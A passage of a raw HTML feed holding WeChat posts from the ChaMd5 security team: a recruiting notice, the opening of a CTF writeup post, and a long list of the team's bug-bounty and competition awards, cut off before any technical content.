0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="2247513768">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=065caad4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247513768%26idx%3D1%26sn%3Da4b4473ec7b102da005641de7526bac8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 09 Dec 2025 08:00:00 +0800</pubDate>
    </item>
    <item>
      <title>DASCTF 2025下半年赛 Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513762&amp;idx=1&amp;sn=213b2c21e5c351e1badb8875cebb3fea</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2025-12-08 08:02</span> <span style="display: inline-block;">辽宁</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d198df27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSlAzTTv2iaRgvC8B43fwKFtqAic8ZibIamBXHiaaW8zWbOGhb4DnibyQs6ZyPlZuwHicb8WQRLwEMMb70w%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.4824074074074074" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100030102" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=860aff4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSlAzTTv2iaRgvC8B43fwKFtLiatsNicAHpSDib2pJr8pBflBGtwpvABPSYk20pnxK8TtNXwgPtoEIdww%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p data-mid="" mpa-is-content="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;text-align: start;caret-color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 128, 255);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5安全团队</span></span></strong></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">成立于2016年，专注于算法加解密、安全漏洞挖掘、CTF竞赛及安全人才培养。至今团队成员有200+人，分别来自阿里、滴滴、启明星辰、绿盟、知道创宇、奇安信、永信至诚、360、陌陌、牛盾、无声信息等安全公司，且也有部分在校学生与自由职业者。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;caret-color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">自团队成立以来，曾荣获来自华为、微软、蚂蚁金服、百度、京东和滴滴等多家企业的致谢，向企业报告的漏洞合计</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;color: rgb(0, 128, 255);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">超</span></strong></span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;letter-spacing: 2px;color: rgb(0, 128, 255);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">10w+</span></span></strong><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">。团队成员也曾多次在企业 CTF 赛事中获奖。</span></span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5 安全团队</span></span></span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);letter-spacing: 2px;color: rgb(0, 128, 255);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">为维护企业安全建设而成立</span></span></strong><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">，竭尽全力培养安全人才，服务于各大企业。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;text-align: start;caret-color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);letter-spacing: 2px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5安全团队</span></span></strong></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;caret-color: rgb(0, 0, 0);letter-spacing: 2px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">将继续与平台一同进步，也</span></span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">欢迎更多的小伙伴加入我们哦！</span></span></p><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">安全厂商漏洞提交</span><span leaf=""><br/></span><span leaf="">2024年荣获阿里云安全守护卫士</span><span leaf=""><br/></span><span leaf="">2024年京东SRC“优秀合作伙伴”称号和个人第四名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2024年盘锦市演练优秀攻击队</span><span leaf=""><br/></span><span leaf="">2024年荣获某市局经侦支队感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获某市委网信办感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获国家计算机网络与信息安全管理中心辽宁分中心感谢信</span><span leaf=""><br/></span><span leaf="">2023年京东SRC个人第三名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2023年补天总榜个人排名第十(r00t4dm)</span><span leaf=""><br/></span><span leaf="">2023年多点SRC年度第三(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年TCL年度第四(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年同程SRC个人年度第二(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年滴滴SRC个人年度第五(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第一季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第三季度 第二名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第四季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年大连网信办“连盾”第二名</span><span leaf=""><br/></span><span leaf="">2022年PSRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2022年BSRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2022年货拉拉获得”黄金轻卡“称号</span><span leaf=""><br/></span><span leaf="">2021年DSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2021年BSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2017-2020年DSRC(滴滴)年度安全团队第一名</span><span leaf=""><br/></span><span leaf="">2020年JSRC(京东)团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年BSRC(百度)第三名</span><span leaf=""><br/></span><span leaf="">2020年网易SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年58SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年字节跳动SRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2020年360SRC年度团队第二名</span><span leaf=""><br/></span><span leaf="">2020年TSRC(腾讯)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年JSRC(京东)团队年度第三名</span><span leaf=""><br/></span><span leaf="">2019年华为云2019年度团队二等奖、华为终端2019年度最具潜力奖</span><span leaf=""><br/></span><span leaf="">2019年MTSRC(美团)年度团队第二名</span><span leaf=""><br/></span><span leaf="">2019年ASRC(阿里)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年合肥市网络安全攻防演练大赛攻防演练赛 线下第八名</span><span leaf=""><br/></span><span leaf="">2019年BSRC(百度) 年度第三名和校园年度第二名</span><span leaf=""><br/></span><span leaf="">2018年BSRC(百度) 年度第二名</span><span leaf=""><br/></span><span leaf="">2017年BSRC(百度)优秀团队</span><span leaf=""><br/></span><span leaf="">CTF比赛</span><span leaf=""><br/></span><span leaf="">2025年DASCTF下半年赛 第四名</span><span leaf=""><br/></span><span leaf="">2025年CCF智能汽车大赛 三等奖</span><span leaf=""><br/></span><span leaf="">2025年DASCTF 2025上半年赛 第八名</span><span leaf=""><br/></span><span leaf="">2025第一届OpenHarmonyCTF专题赛 第五名</span><span leaf=""><br/></span><span leaf="">2025年第八届封神台 第一名</span><span leaf=""><br/></span><span leaf="">2024年国城杯 线下第六名</span><span leaf=""><br/></span><span leaf="">2024DASCTF 暑假挑战赛 第一名</span><span leaf=""><br/></span><span leaf="">2024年矩阵杯 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年举办第一届 VCTF 纳新赛</span><span leaf=""><br/></span><span leaf="">2023年中华武数杯 三等奖</span><span leaf=""><br/></span><span leaf="">2023年NCTF 第八名</span><span leaf=""><br/></span><span leaf="">2022年第五届强网拟态 第九名</span><span leaf=""><br/></span><span leaf="">2022年安洵杯 第七名</span><span leaf=""><br/></span><span leaf="">2021年第四届强网拟态 第一名</span><span leaf=""><br/></span><span leaf="">2021年长安杯总决赛一等奖</span><span leaf=""><br/></span><span leaf="">2021年巅峰极客 第一名</span><span leaf=""><br/></span><span leaf="">2020年“祥云杯”线上第三名</span><span leaf=""><br/></span><span leaf="">2020年GeekPwn云靶场挑战赛第八名</span><span leaf=""><br/></span><span leaf="">2020年线上网鼎杯“青龙组“第五名</span><span leaf=""><br/></span><span leaf="">2019年“湖湘杯”网络安全技能大赛线下第四名</span><span leaf=""><br/></span><span leaf="">2019年XPpwnCTF第五名</span><span leaf=""><br/></span><span leaf="">2019年SUCTF 线上第三名</span><span leaf=""><br/></span><span leaf="">2019年第三届“红帽杯”网络安全攻防大赛 线上社会网安第五名</span><span leaf=""><br/></span><span leaf="">工控比赛</span><span leaf=""><br/></span><span leaf="">2022年之江杯第五名&amp;内生安全贡献荣誉奖</span><span leaf=""><br/></span><span leaf="">2020年之江杯第一名</span><span leaf=""><br/></span><span leaf="">2018年赛博地球杯工业互联网安全大赛线下总排名 第二名</span><span leaf=""><br/></span><span leaf="">IoT比赛</span><span leaf=""><br/></span><span leaf="">2024年第七届“强网”拟态防御国际精英挑战赛—低空经济赛道三等奖（第五名）</span><span leaf=""><br/></span><span leaf="">2023年DataCon漏洞分析赛道第三名</span><span leaf=""><br/></span><span leaf="">2022年DataCon物联网安全第四名</span><span leaf=""><br/></span><span leaf="">2020年西湖论剑IOT挑战赛第一名</span><span leaf=""><br/></span><span leaf="">2019年360SRC48小时IoT破解大赛第四名</span><span leaf=""><br/></span><span leaf="">AI比赛</span><span leaf=""><br/></span><span leaf="">2025年LLM指令遵循攻防赛第一名</span><span leaf=""><br/></span><span leaf="">2024年DataCon AI第四名</span><span leaf=""><br/></span><span leaf="">2024年ByteAI安全挑战赛决赛第十名</span><span leaf=""><br/></span><span leaf="">2022年2022 CCF BDCI 竞技赛单赛题决赛 基于TPU平台实现人群密度估计 二等奖</span><span leaf=""><br/></span><span leaf="">2022年字节安全AI挑战赛 第四名</span><span leaf=""><br/></span><span leaf="">2021年iFLYTEK.AI 第十名</span><span leaf=""><br/></span><span leaf="">2020年BCTF AI PWN第六名</span><span leaf=""><br/></span><span leaf="">2019年强网杯AI 第十名</span><span leaf=""><br/></span><span leaf="">2019年BCTF RHG 人工智能第八名</span><span leaf=""><br/></span><span leaf="">车联网</span><span leaf=""><br/></span><span leaf="">2025年首届CCF智能汽车大赛线上第一名、线下三等奖</span><span leaf=""><br/></span><span leaf="">2024Block Harbor VicOne Automotive CTF 线上 第六名</span><span leaf=""><br/></span><span leaf="">2024年Super CS车联网安全攻防挑战赛线下 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年VSEC挑战赛二 第六名</span><span leaf=""><br/></span><span leaf="">2023年CIICV车联网（智能网联汽车）漏洞挖掘挑战赛 优胜奖</span><span leaf=""><br/></span><span leaf="">2023年WIDC世界智能驾驶挑战赛 线上第二名</span><span leaf=""><br/></span><span leaf="">2022 第二届创安杯智能汽车信息安全公开赛 线上第九名</span><span leaf=""><br/></span><span leaf="">2022 CICV 智能网联汽车漏洞挖掘赛 线下一等奖</span><span leaf=""><br/></span><span leaf="">2022 CICV智能网联汽车漏洞挖掘赛 线上三等奖</span><span leaf=""><br/></span><span 